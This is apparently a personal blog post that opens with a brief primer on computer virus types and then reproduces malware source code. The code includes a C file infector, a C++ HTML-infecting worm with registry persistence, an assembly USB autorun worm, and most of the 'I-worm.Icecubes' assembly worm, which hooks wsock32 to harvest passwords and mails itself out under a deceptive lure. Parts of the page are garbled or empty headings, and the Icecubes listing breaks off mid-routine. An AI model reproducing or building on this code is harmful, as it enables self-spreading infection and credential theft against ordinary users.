Welcome to my blog, hope you enjoy reading :)
RSS

Computer Viruses

What is a Computer Virus ?
A potentially damaging computer programme capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.

Types of viruses :-
The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

Viruses Codings

1) The ILOVEYOU Worm (VBS/Loveletter)
2) Mawanella E-Mail Worm 

int main()
{
FreeConsole();
DWORD dummy;
char * DirPath = "C:\\";
WIN32_FIND_DATA FindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE, hThread;
 
char * file = strcombine(DirPath, "*");
hFind = FindFirstFile(file, &FindFileData);
if(hFind != INVALID_HANDLE_VALUE)
{
if(FindFileData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY){
if(canWrite(FindFileData.dwFileAttributes)){
infectFile(DirPath, FindFileData.cFileName);
}
}
else if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY && isFile(FindFileData.cFileName))
{
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SearchDirectory, strcombine(DirPath, FindFileData.cFileName), 0, &dummy);
WaitForSingleObject(hThread, INFINITE);
}
while (FindNextFile(hFind, &FindFileData) != 0)
{
if(FindFileData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY){
if(canWrite(FindFileData.dwFileAttributes)){
infectFile(DirPath, FindFileData.cFileName);
}
}
else if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY && isFile(FindFileData.cFileName))
{
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SearchDirectory, strcombine(DirPath, FindFileData.cFileName), 0, &dummy);
WaitForSingleObject(hThread, INFINITE);
}
}
}
}



Flash Drive Virus 
查????? ????? ???????? ????



html worm

// name: win32.htmlworm

// author: wargame

// compiler: borland c++

// description: this worm spreads by adding a link to itself in html files

// improvements: you could add a link to a page containing an ie exploits :)



#include 

#include 

using namespace std; // :)



// this function does the real work

void htmlspread(char *htmlfile)

{

handle html_fd;

dword html_filesize,read_bytes,written_bytes;

char *c_htmlcode = null;

string *htmlcode = null; // make it simpler

long pos;



// open the html file

html_fd = createfile(htmlfile,generic_read|generic_write,

file_share_read|file_share_write,null,open_existing,file_attribute_normal,null);



if(html_fd == invalid_handle_value)

{

return;

}



// get file size

html_filesize = getfilesize(html_fd,null);



// allocate enough memory

c_htmlcode = (char *)malloc(html_filesize);



if(c_htmlcode == null)

{

return;

}



// read entire file

if(readfile(html_fd,c_htmlcode,html_filesize,&read_bytes,null) == 0)

{

closehandle(html_fd);

return;

}



// create a string object

htmlcode = new string(c_htmlcode);

free(c_htmlcode);



// already infected ?

if(htmlcode->find("") == string::npos)

{



pos = htmlcode->find("");



if(pos == string::npos)

{

pos = htmlcode->find("");



if(pos == string::npos)

{

closehandle(html_fd);

delete htmlcode;

return;

}

}



// add link

htmlcode->replace(pos,7,"\r\n\r\n");



// write new file

setfilepointer(html_fd,0,0,file_begin);

writefile(html_fd,htmlcode->c_str(),htmlcode->size(),&written_bytes,null);

// infection mark

writefile(html_fd,"",36,&written_bytes,null);



}



// close all

closehandle(html_fd);

delete htmlcode;



}



// add worm to startup list

void autostart(char *my_path)

{

hkey hkey;



if(regopenkeyex(hkey_local_machine,

"software\\microsoft\\windows\\currentversion\\run",0,

key_write,&hkey)==error_success)

{

regsetvalueex(hkey,"himon",0,reg_sz,my_path,strlen(my_path));

regclosekey(hkey);

}



if(regopenkeyex(hkey_current_user,

"software\\microsoft\\windows\\currentversion\\run",0,

key_write,&hkey)==error_success)

{

regsetvalueex(hkey,"himon",0,reg_sz,my_path,strlen(my_path));

regclosekey(hkey);

}

}



// this will scan drives for html files

void s3arch(char *pt) {

char sc[max_path],buf[max_path];

win32_find_data in;

handle fd,file;

char *fm = "%s\\%s",*fm1 = "%s\\*.*";



if(strlen(pt) == 3)

{

pt[2] = '\0'; /* :-) */

}



sprintf(sc,fm1,pt);

fd = findfirstfile(sc,&in);



do

{



sprintf(buf,fm,pt,in.cfilename);



/* dot :) */

if(strcmp(in.cfilename,"..") != 0 && strcmp(in.cfilename,".") != 0 && (in.dwfileattributes & file_attribute_directory))

{

s3arch(buf);

}



/* file found */

else

{



/* is it good to infect ? */



if(strstr(in.cfilename,".html") || strstr(in.cfilename,".htm"))

{

htmlspread(buf);

}

}



}while(findnextfile(fd,&in));



findclose(fd);

}





// entry point of worm

int winapi winmain (hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)

{

// usual shit: installation part, startup and so on ...

char i_am_here[max_path],installation_path[max_path];

char drives[3],drive = 0;

uint drive_type;





// only one copy

createmutex(null,false,"__htmlworm_by_wargame_eof__");

if(getlasterror() == error_already_exists)

{

exitprocess(0);

}



getsystemdirectory(installation_path,max_path);

strcat(installation_path,"\\himon.exe");



getmodulefilename(null,i_am_here,max_path);

// copy!

copyfile(i_am_here,installation_path,false);

autostart(installation_path);





// the real part starts here

while(1)

{



/* search for drives */

for(drive = 'c';drive <= 'z';drive++) { drives[0] = drive; drives[1] = ':'; drives[2] = '\\'; drives[3] = '\0';  /* drive ? */ drive_type = getdrivetype(drives);  /* only fixed, remote and removable drives */ if(drive_type == drive_fixed || drive_type == drive_remote || drive_type == drive_removable) { /* go! */ s3arch(drives); } }  /* every 10 minutes */ sleep((1000*60)*10); } }


USB Worm 

; [-+- W32/ASM.USBWorm - illuz1oN 2008 -+-]
; Fully Commented Code
; For h4ck-y0u.org E-zine!!
; (C)opyright illuz1oN 2008
; Compiled with FASM: 2000 bytes (2KB)
; [!!!! FOR CLEAN COMMENTS OPEN IN FIREFOX | IE !!!!]
 
include "H:\Liam\FASM\INCLUDE\WIN32AX.inc";Include the windows API for this!
 
.data ;section that contains our pre-defined data!
szPath rb 256d ;szPath that holds 256chars
szDrives rb 105d ;szDrives that holds 105 chars (all drives + ')
szNew db 'illuz1oN.exe', 0 ;Our exe name for on the usb stick!
szUsbRun rb 14d ;buffer to hold 'autorun.inf'
szUsbData rb 28d ;buffer to hold '[autorun]open=illuz1oN.exe'
fuckAll dd ? ;empty buffer, for random shit :D
 
.code ;Section that has our code (our main body!)
illuzUSB: ;our program starting label 'illuzUSB'
push 256d ;push 256d onto the stack
push szPath ;push szPath onto stack [this will hold data]
push 0 ;push NULL onto the stack
call [GetModuleFileName] ;call GetModuleFileName [with the pushed args!]
push szDrives ;push szDrives
push 105d ;push the size of szDrives
call [GetLogicalDriveStrings] ;call GetLogicalDriveStrings [We need the drives dont we?]
xor ebx,ebx ;set ebx to 0 (32bit)
xor ecx,ecx ;set ecx to 0 ( ^ )
xor eax,eax ;set eax to 0 ( ^ )
mov ecx, 0d ;ecx=0d (ecx = 'A')
call checkDrive ;call checkDrive (check drive on 'A')
 
checkDrive: ;our checkDrive function
xor eax,eax ;set eax to 0 (32bit)
mov ebx,ecx ;ebx = ecx first Drive
mov dword [ebx+1d], ':\' ;place :\ on drive -> '*:\' (Fuck lstrcat (we need speed!))
push ebx ;push ebx onto stack ('*:\')
call [GetDriveType] ;call GetDriveType [on '*:\'] -> results in eax
cmp eax,DRIVE_REMOVABLE ;does eax hold 'DRIVE_REMOVABLE' (is '*:\' a USB Device?)
je copyToUsb ;yes, Copy to the usb!
xor eax,eax ;set eax to 0
add ecx, 4d ;ecx = ecx +4
jmp checkDrive ;its not removable, loop through again!
 
copyToUsb: ;My copy function (Messy i know...)
xor eax,eax ;set eax to 0
xor ebx,ebx ;set ebx to 0
mov ebx,ecx ;ebx = ecx
mov dword [ebx+3d], szNew ;'*:\illuz1oN.exe'
push 0 ;push NULL onto the stack
push ebx ;push '*:\illuz1oN.exe' onto the stack
push szPath ;push szPath onto the stack
call [CopyFile] ;call CopyFile [Copy us to the USB Device]
cmp eax,0 ;no it failed :(
jmp copyToUsb ;retry until its successfull!
xor eax,eax ;clear eax
xor ebx,ebx ;clear ebx
mov ebx,ecx ;ebx = ecx
mov dword [szUsbRun], 'auto' ;szUsbRun = auto
mov dword [szUsbRun+4d], 'run.' ;szUsbRun = autorun.
mov dword [szUsbRun+8d], 'inf' ;szUsbRun = autorun.inf
mov dword [ebx+3d], szUsbRun ;*:\autorun.inf
push 0 ;push 0
push FILE_ATTRIBUTE_HIDDEN ;push file attribs
push CREATE_ALWAYS ;always make it! (overwrite)
push 0 ;push NULL
push 0 ;push NULL
push GENERIC_WRITE ;write it only
push ebx ;create it *:\autorun.inf
call [CreateFile] ;Create the file!
mov dword [szUsbData], '[aut' ;szUsbData = [aut
mov dword [szUsbData+4d], 'orun' ;szUsbData = [autorun
mov dword [szUsbData+8d], ']' ;szUsbData = [autorun]
mov byte [szUsbData+9d], 13d ;szUsbData = [autorun]\
mov byte [szUsbData+10d], 10d ;szUsbData = [autorun]\n
mov dword [szUsbData+11d], 'open' ;szUsbData = [autorun]\nopen
mov dword [szUsbData+15d], '=ill' ;szUsbData = [autorun]\nopen=ill
mov dword [szUsbData+19d], 'uz1o' ;szUsbData = [autorun]\nopen=illuz1o
mov dword [szUsbData+23d], 'N.ex' ;szUsbData = [autorun]\nopen=illuz1oN.ex
mov dword [szUsbData+27d], 'e' ;szUsbData = [autorun]\nopen=illuz1oN.exe
push 0 ;push 0
push fuckAll ;push trashdata [for random bytes we dont need]
push 28d ;length were writing!
push eax ;our file handle [eax, we havnt changed since last createfile]
call [WriteFile] ;Write the data!
push eax ;our filehandle
call [CloseHandle] ;close it!
xor eax,eax ;clear eaax
cmp ecx,104d ;is our counter at the last usb device?
je exitWorm ;yes, exit the worm
call checkDrive ;no, re do it all again!
 
exitWorm: ;Exitting the worm
xor eax,eax ;clear eax
xor ebx,ebx ;clear ebx
xor ecx,ecx ;clear ecx
push 0 ;push NULL
call [ExitProcess] ;ByeBye! - illuz1oN
 
.end illuzUSB ;end label!


PHP Worm

Redlof (VBS/Redolf.A)

I-worm.Icecubes v 1.05 

;****************************************************************************;
;----------------------------------------------------------------------------;
;                           I-worm.Icecubes v 1.05
;                              written by f0re 
;----------------------------------------------------------------------------;
;============================================================================;
;
; ABOUT
; -----
;
; Welcome to the sourcecode of my first i-worm. I have given this worm its
; name, i-worm.Icecubes, because of two reasons. First of all, here where
; i live the summer is coming..and i like icecubes in my drinks :).
; Secondly it is because of the joke behind the worm host code; when a user 
; receives the worm in his mailbox, the emailmessage looks like this:
;
; Subject: Fw: Windows Icecubes ! 
;
; ----- Original Message -----
;
; >Look at what I found on the web. This tool scans your system for hidden
; >Windows settings.
; >These settings, which are better known as the "Windows Icecubes", were
; >built in Windows by
; >the programmers at Microsoft and were supposed to be kept secret. 
; >
; >Just take a look, cause I think you might want to make some changes ;).
; >
;
;
; EXECUTION
; ---------
;
; When the worm is executed it will first check whether it is being executed
; under win 95/98. If any other version of windows is found, it will skip the
; infection procedure and run the worm-host code immediately. 
;
; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it
; to wsock32.inf. It also copies itself to the windows system directory under 
; the name wsock2.dll. Then it will add the worm code to the .inf file by
; increasing the size of the last section.
; Next the worm will point the send api address in the wsock32.inf export table
; to the virus code. Finally the worm drops a wininit.ini file in the windir
; to direct windows at the next reboot to overwrite the original wsock32.dll
; with the infected wsock32.inf.
;
; Then the worm will execute the worm host code; a progressbar followed by
; funny dialog (check it out for yourself :).
;
;
; SEND HOOK
; ---------
;
; Once the wsock32.dll api-hook-routine receives control it will scan the send
; buffer for usernames and or passwords. If these are found, they are stored in the
; file \icecube.txt. If an email is being sended, the worm will extract the
; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)
; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and
; prepare a new email with the encoded host attached. The body of the email contains
; the text as shown in the ABOUT section of this description. This new email will
; be send after the original email has been send (this is also known as the
; happy99 technique).
;
;
; THANKS
; ------
;
; I'd like to thank the following persons who helped me with my many
; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,
; urgo32, Lifewire, dageshi and T-2000.
;
; 
;****************************************************************************;
;
; To compile: 
;
;       tasm32 icecubes.asm /ml /m
;       tlink32 -aa icecubes.obj import32.lib
;
;       brcc32 icecubes.rc
;       brc32.exe icecubes.res 
;
;****************************************************************************;
 
.386
.model flat, stdcall
 
locals
jumps
        extrn ExitProcess:PROC
        extrn DialogBoxParamA:PROC
        extrn GetModuleHandleA:PROC
        extrn EndDialog:PROC
        extrn GetWindowRect:PROC
        extrn GetDesktopWindow:PROC
        extrn MoveWindow:PROC
        extrn CreateThread:PROC
        extrn SendDlgItemMessageA:PROC
        extrn SetDlgItemTextA:PROC
        extrn CloseHandle:PROC
        extrn GetDlgItemTextA:PROC
        extrn GetModuleHandleA:PROC
        extrn GetVersion:PROC
 
.data
 
    Start:
        xor ebp, ebp
 
    CheckWindowsVersion:
        call GetVersion
        or eax, eax
        jz ReturnToWormHost
 
    MainRoutines:
        pushad
        call GET_GETPROCADDRESS_API_ADDRESS           
        call GET_WINDIR
        call GET_SYSDIR
        call INFECT_WSOCK
        call COPY_HOST_FILE
        popad
 
    ReturnToWormHost:
        jmp OriginalHost
 
;==============================[ includes ]==================================;
 
        include windows.inc
        include wsocks.inc
        include myinc.inc
 
;=============================[ ic-data.inc ]===============================;
 
; get_gpa.inc data
        kernel32address                dd 0BFF70000h
        numberofnames                  dd ?
        addressoffunctions             dd ?
        addressofnames                 dd ?
        addressofordinals              dd ?
        AONindex                       dd ?
        AGetProcAddress                db "GetProcAddress", 0 
        AGetProcAddressA               dd 0                   
 
; directory.inc data
        currentdir                     db 100h dup(0)
        sysdir                         db 100h dup(0)
        windir                         db 100h dup(0)
        AGetSystemDirectory            db "GetSystemDirectoryA",0
        AGetWindowsDirectory           db "GetWindowsDirectoryA",0
        ASetCurrentDirectory           db "SetCurrentDirectoryA",0
 
; infect_wsock.inc
        wsock32dll                     db "Wsock32.dll",0
        wsock32inf                     db "Wsock32.inf",0
        ACopyFile                      db "CopyFileA",0               
        infectionflag                  db 0
        AFindFirstFile                 db "FindFirstFileA",0
        myfinddata                     WIN32_FIND_DATA <>
        filesize                       dd 0
        memory                         dd 0
        ADeleteFile                    db "DeleteFileA",0
 
; infect_file.inc
        ASetFileAttributes             db "SetFileAttributesA",0
        ACreateFile                    db "CreateFileA",0
        ACreateFileMapping             db "CreateFileMappingA",0
        AMapViewOfFile                 db "MapViewOfFile",0   
        filehandle                     dd 0    
        maphandle                      dd 0
        mapaddress                     dd 0    
        PEheader                       dd 0
        imagebase                      dd 0
        imagesize                      dd 0
        wnewapiaddress                 dd 0
        AUnmapViewOfFile               db "UnmapViewOfFile",0
        ACloseHandle                   db "CloseHandle",0
        ASetFilePointer                db "SetFilePointer",0
        ASetEndOfFile                  db "SetEndOfFile",0
        ASetFileTime                   db "SetFileTime",0
 
; hook_api.inc
        woldapiaddress                 dd 0
 
; rva_to_raw.inc
        rva2raw                        dd 0    
 
; get_api.inc
        user32address                  dd 0
        wsock32address                 dd 0    
 
; create_ini_file.inc
        inifile                        db "wininit.ini",0
        writtensize                    dw 0
        inicrlf                        db 0dh,0ah,0
        rename                         db "[rename]",13,10    
        slashsign                      db "\",0
        equalsign                      db "=",0
        writtenbytes                   dd 0
        AWriteFile                     db "WriteFile",0
 
; ws_copy_host_file
        AGetModuleFileName             db "GetModuleFileNameA",0
 
; get_bases.inc
        ALoadLibrary                   db "LoadLibraryA",0    
        k32                            db "KERNEL32.dll",0
        user32                         db "USER32.dll",0
        wsock32                        db "WSOCK32.dll",0
 
; host_code.inc
        dlgrect                        RECT <>
        desktoprect                    RECT <> 
        dlgwidth                       dd 0
        dlgheight                      dd 0
        threadid                       dd 0
        initflag                       dd 0
        okflag                         dd 0
        flag                           dd 0
        pastvalue                      dd 0
        currentvalue                   db '2',0
        doneflag                       dd 0
        value11                        db "Days",0
        value12                        db "Weeks",0
        value13                        db "Months",0
        value14                        db "Years",0
        value3                         db "5000",0
        value4                         db "17",0
 
; ic.asm
        hInst                          dd 0
 
; write_to_file.inc
        passwordfile                   db "icecube.txt",0
 
; ws_intercept.inc
        socketh                        dd 0
        status                         db 0
        AGlobalAlloc                   db "GlobalAlloc",0
        fromaddress                    dd 0
        fromsize                       dd 0
        rcptnumber                     dd 0
        rcpt_buffer_address            dd 0
        rcpt_size_address              dd 0
        totalrcptsize                  dd 0
        fromtag                        db 'From:',0
        totag                          db 'To:',0
        mimeendtag                     db '>',0
        mimefrom_address               dd 0
        mimefromsize                   dd 0
        fromstatus                     db 0
        tostatus                       db 0
        toendtag                       db 'Subject:',0
        mimetosize                     dd 0
        mimeto_address                 dd 0
 
; ws_b64_encoder.inc
        encTable                       db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'
                                      db 'wxyz0123456789+/'
; ws_attachment
        wsock2                         db "Wsock2.dll",0      
        smHnd                          dd 0                           
        dmHnd                          dd 0    
        bytesread                      dd 0    
        encodedsize                    dd 0    
        AReadFile                      db "ReadFile",0
        AGetFileSize                   db "GetFileSize",0
 
; ws_send_mail
        email_buffer_address           dd 0    
        email_size                     dd 0
        datatag                        db 'DATA',0dh,0ah
        emailid                        db 'Message-ID: ',0dh,0ah
        emailstart                     db 'Subject: Fw: Windows Icecubes !',0dh,0ah
                                      db 'MIME-Version: 1.0',0dh,0ah
                                      db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah
                                      db 0dh,0ah,'--a1234',0dh,0ah
                                      db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah
                                      db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah
                                      db 0dh,0ah
                                      db '----- Original Message -----', 0dh,0ah
                                      db 0dh,0ah
                                      db '>Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah
                                      db '>These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah
                                      db '>the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah
                                      db '>',0dh,0ah
                                      db '>Just take a look, cause I think you might want to make some changes ;).',0dh,0ah
                                      db '>',0dh,0ah
                                      db 0dh,0ah
                                      db 0dh,0ah,'--a1234',0dh,0ah
                                      db 'Content-Type: application/octet-stream; name="Icecubes.exe"'
                                      db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah
                                       db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah
        emailend                       db 0dh,0ah
        emailtail                      db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah
        endtag                         db 0Dh,0Ah,2Eh,0Dh,0Ah         
        timedate                       SYSTEMTIME <>
        AMessageBox                    db "MessageBoxA",0
        AGetSystemTime                 db "GetSystemTime",0   
        msgmessage                     db "Windows detected icecubes on your harddrive.",10,13
                                      db "This may cause the system to stop responding.",10,13
                                      db "Do you want Windows to remove all icecubes ?",0  
        windowtitle                    db "I-worm.Icecubes / f0re",0  
        ASend                          db "send",0
        ARecv                          db "recv",0
        recvbuffer                     db 100h dup(0)
 
;============================[ ic-get_gpa.inc ]=============================;
 
GET_GETPROCADDRESS_API_ADDRESS proc
        
    LoadExportTableData:
        mov edi, [ebp + kernel32address]              ; get exporttable
        add edi, [edi + 3ch]                          ; address from
        mov esi, [edi + 78h]                          ; kernel's PE header
        add esi, [ebp + kernel32address]              
        
        mov eax, dword ptr [esi + 18h]                
        mov [ebp + numberofnames], eax                ; save number of names
               
        mov eax, dword ptr [esi + 1Ch]                ; get ra of table with 
        add eax, [ebp + kernel32address]              ; pointers to funtion
        mov [ebp + addressoffunctions], eax           ; addresses
 
        mov eax, dword ptr [esi + 20h]                ; get ra of table with
        add eax, [ebp + kernel32address]              ; pointers to names
        mov [ebp + addressofnames], eax                       ; of functions
        
        mov eax, dword ptr [esi + 24h]                ; get ra of table with
        add eax, [ebp + kernel32address]              ; pointers to ordinals
        mov [ebp + addressofordinals], eax            ; of functions
 
    BeginProcAddressSearch:
        mov esi, [ebp + addressofnames]                       ; search for GetProc
        mov [ebp + AONindex], esi                     ; Address API in names
        mov edi, [esi]                                ; table
        add edi, [ebp + kernel32address]              
        xor ecx, ecx                                  
        lea ebx, [ebp + AGetProcAddress]              
 
    TryAgain:
        mov esi, ebx                                  
 
    MatchByte:
        cmpsb
        jne NextOne                                   
        cmp byte ptr [esi], 0                         ; did the entire string
        je GotIt                                      ; match ?
        jmp MatchByte
 
    NextOne:
        inc cx                                        
        add dword ptr [ebp + AONindex], 4             ; get next namepointer
        mov esi, [ebp + AONindex]                     ; in table (4 dwords)
        mov edi, [esi]                                
        add edi, [ebp + kernel32address]              ; align with kernelbase
        jmp TryAgain
 
    GotIt:
        shl ecx, 1                                    
        mov esi, [ebp + addressofordinals]            ; ordinal = nameindex *
        add esi, ecx                                  ; size of ordinal entry
        xor eax, eax                                  ; + ordinal table base
        mov ax, word ptr [esi]                        
        shl eax, 2                                    ; address of function =
        mov esi, [ebp + addressoffunctions]           ; ordinal * size of
        add esi, eax                                  ; entry of address 
        mov edi, dword ptr [esi]                      ; table + base of 
        add edi, [ebp + kernel32address]              ; addresstable
        mov [ebp + AGetProcAddressA], edi             ; save GPA address
        ret     
  
GET_GETPROCADDRESS_API_ADDRESS endp
 
;===========================[ ic-get_bases.inc ]============================;
 
GET_WSOCK32_BASE_ADDRESS proc
 
    LoadWsock32:
        lea eax, [ebp + wsock32]                      ; not found, then
        push eax                                      ; load the dll
        lea eax, [ebp + ALoadLibrary]                 ; first
        call GETAPI
        mov [ebp + wsock32address], eax
        ret
 
GET_WSOCK32_BASE_ADDRESS endp
 
GET_USER32_BASE_ADDRESS proc
 
    GetUser32Base:
        lea eax, [ebp + user32]                               
        push eax                                      
        lea eax, [ebp + ALoadLibrary]                 
        call GETAPI                                   
        mov [ebp + user32address], eax
        ret
 
GET_USER32_BASE_ADDRESS endp
 
;============================[ ic-get_api.inc ]=============================;
 
GETAPI proc
 
        push eax                                      
        push dword ptr [ebp + kernel32address]                ; load kernelbase
        call [ebp + AGetProcAddressA]                 ; and get api address
        jmp eax                                       ; call the api
        ret                                           ; return
         
GETAPI endp
 
GETUAPI proc
 
        push eax                                      
        push dword ptr [ebp + user32address]          ; load wsockbase
        call [ebp + AGetProcAddressA]                 ; and get api address
        jmp eax
        ret
 
GETUAPI endp
 
GETWAPI proc
 
        push eax                                      
        push dword ptr [ebp + wsock32address]         ; load wsockbase
        call [ebp + AGetProcAddressA]                 ; and get api address
        jmp eax
        ret
 
GETWAPI endp
 
;==========================[ ic-directory.inc ]=============================;
        
GET_WINDIR proc
 
    GetWindowsDir:
        push 128h                                     ; size of dirstring      
        lea eax, [ebp + windir]                               ; save it here
        push eax
        lea eax, [ebp + AGetWindowsDirectory]         ; get windowsdir
        call GETAPI
        ret
 
GET_WINDIR endp
 
GET_SYSDIR proc
 
    GetSystemDir:
        push 128h                                     ; size of dirstring      
        lea eax, [ebp + sysdir]                               ; save it here
        push eax
        lea eax, [ebp + AGetSystemDirectory]          ; get system dir
        call GETAPI
        ret
 
GET_SYSDIR endp
 
SET_WINDIR proc
 
    SetWindowsDir:
        lea eax, [ebp + windir]                               ; change to sysdir
        push eax
        lea eax, [ebp + ASetCurrentDirectory] 
        call GETAPI
        ret
 
SET_WINDIR endp
 
SET_SYSDIR proc
 
    SetSystemDir:
        lea eax, [ebp + sysdir]                               ; change to sysdir
        push eax
        lea eax, [ebp + ASetCurrentDirectory] 
        call GETAPI
        ret
 
SET_SYSDIR endp
 
;=========================[ ic-infect_wsock.inc ]===========================;
 
INFECT_WSOCK proc
 
    WsockSetSystemDirectory:
        call SET_SYSDIR
 
    CopyWSockFile:
        push 00h
        lea eax, [ebp + wsock32inf]
        push eax       
        lea eax, [ebp + wsock32dll]
        push eax
        lea eax, [ebp + ACopyFile]
        call GETAPI
        
    SearchWsockFile:
        mov [ebp + infectionflag], 00h
        lea eax, [ebp + myfinddata]                   ; win32 finddata structure
        push eax
        lea eax, [ebp + wsock32inf]                   ; get wsock32.inf
        push eax
        lea eax, [ebp + AFindFirstFile]                       ; find the first file
        call GETAPI
        cmp eax, 0FFFFFFFh
        je WsockEndSearch
               
    GoInfectWsockInf:
        mov ecx, [ebp + myfinddata.fd_nFileSizeLow]   ; ecx = filesize
        mov [ebp + filesize], ecx                     ; save the filesize
        add ecx, Leap - Start + 1000h                 ; filesize + virus
        mov [ebp + memory], ecx                               ; + workspace = memory
        call INFECT_FILE
        cmp [ebp + infectionflag], 01
        je DeleteWsockFile
 
        call CREATE_INI_FILE
        jmp WsockEndSearch
 
    DeleteWsockFile:
        lea eax, [ebp + wsock32inf]
        push eax
        lea eax, [ebp + ADeleteFile]
        call GETAPI
 
    DeleteIniFile2:
        call SET_WINDIR
        lea eax, [ebp + inifile]
        push eax
        lea eax, [ebp + ADeleteFile]
        call GETAPI
 
    WsockEndSearch:
        ret
 
INFECT_WSOCK endp
 
;=========================[ ic-infect_file.inc ]============================;
 
INFECT_FILE proc
 
     SetAttributesToNormal:
        push 80h       
        lea esi, [ebp + myfinddata.fd_cFileName]      ; esi = filename       
        push esi
        lea eax, [ebp + ASetFileAttributes]   
        call GETAPI
 
     OpenFile:
        push 0                                        ; template handle=0
        push 20h                                      ; attributes=any file
        push 3                                        ; type= existing file
        push 0                                        ; security option = 0
        push 1                                        ; shared for read
        push 80000000h or 40000000h                   ; generic read write
        push esi                                      ; offset file name
        lea eax, [ebp + ACreateFile]
        call GETAPI
 
        cmp eax, 0FFFFFFFFh
        je InfectionError
        mov [ebp + filehandle], eax
 
;-------------------------------[ map file ]---------------------------------;
 
    CreateFileMapping:                               ; allocates the memory
        push 0                                        ; filename handle = 0
        push dword ptr [ebp + memory]                 ; max size = memory
        push 0                                        ; minumum size = 0
        push 4                                        ; read / write access
        push 0                                        ; sec. attrbs= default
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + ACreateFileMapping]
        call GETAPI                                   ; eax = new map handle
 
        mov [ebp + maphandle], eax
        or eax, eax
        jz CloseFile                                  
 
    MapViewOfFile:
        push dword ptr [ebp + memory]                 ; memory to map
        push 0                                        ; file offset
        push 0                                        ; file offset
        push 2                                        ; file map write mode
        push eax                                      ; file map handle
        lea eax, [ebp + AMapViewOfFile]                       ; ok map the file
        call GETAPI
 
        or eax, eax
        jz CloseMap
        mov esi, eax                                  ; esi= base of map
        mov [ebp + mapaddress], esi                   ; save that base
 
    DoSomeChecks:
        cmp word ptr [esi], 'ZM'                      ; an exe file?
        jne UnmapView  
        cmp word ptr [esi + 38h], 'll'                ; already infected?
        jne OkGo
        mov [ebp + infectionflag], 1                  ; set infectionflag
        jmp UnmapView  
 
    OkGo:
        mov ebx, dword ptr [esi + 3ch]                
        cmp ebx, 200h
        ja UnmapView
        add ebx, esi
        cmp dword ptr [ebx], 'EP'                     ; is it a PE file ?
        jne UnmapView
               
        mov [ebp + PEheader], ebx                     ; save ra PE header
        mov esi, ebx
        mov eax, [esi + 34h]
        mov [ebp + imagebase], eax                    ; save imagebase
        
;------------------------------[ append section ]----------------------------;
 
    LocateBeginOfLastSection:
        movzx ebx, word ptr [esi + 20d]                       ; optional header size
        add ebx, 24d                                  ; file header size
        movzx eax, word ptr [esi + 6h]                ; no of sections
        dec eax                                       ; (we want the last-1
        mov ecx, 28h                                  ; sectionheader)
        mul ecx                                       ; * header size
        add esi, ebx                                  ; esi = begin of last 
        add esi, eax                                  ; section's header
 
    ChangeLastSectionHeader:
        or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h 
 
    NewAlignedPhysicalSize:
        mov eax, dword ptr [esi + 10h]                ; old phys size
        push eax                                      ; save it
 
        add eax, Leap-Start
        mov ecx, [ebp + PEheader]
        mov ecx, [ecx + 38h]
        div ecx                                       ; and align it to
        inc eax                                       ; the sectionalign
        mul ecx
        mov dword ptr [esi + 10h], eax                ; save it
 
    VirtualSizeCheck:
        mov edi, dword ptr [esi + 8h]                 ; get old 
        cmp eax, edi                                  ; virtualsize
        jge NewVirtualSize
 
    VirtualSizeIsVirtual:
        add edi, Leap-Start                           
        mov eax, edi
        mov ecx, [ebp + PEheader]
        mov ecx, [ecx + 38h]
        div ecx                                       ; and align it to
        inc eax                                       ; the sectionalign
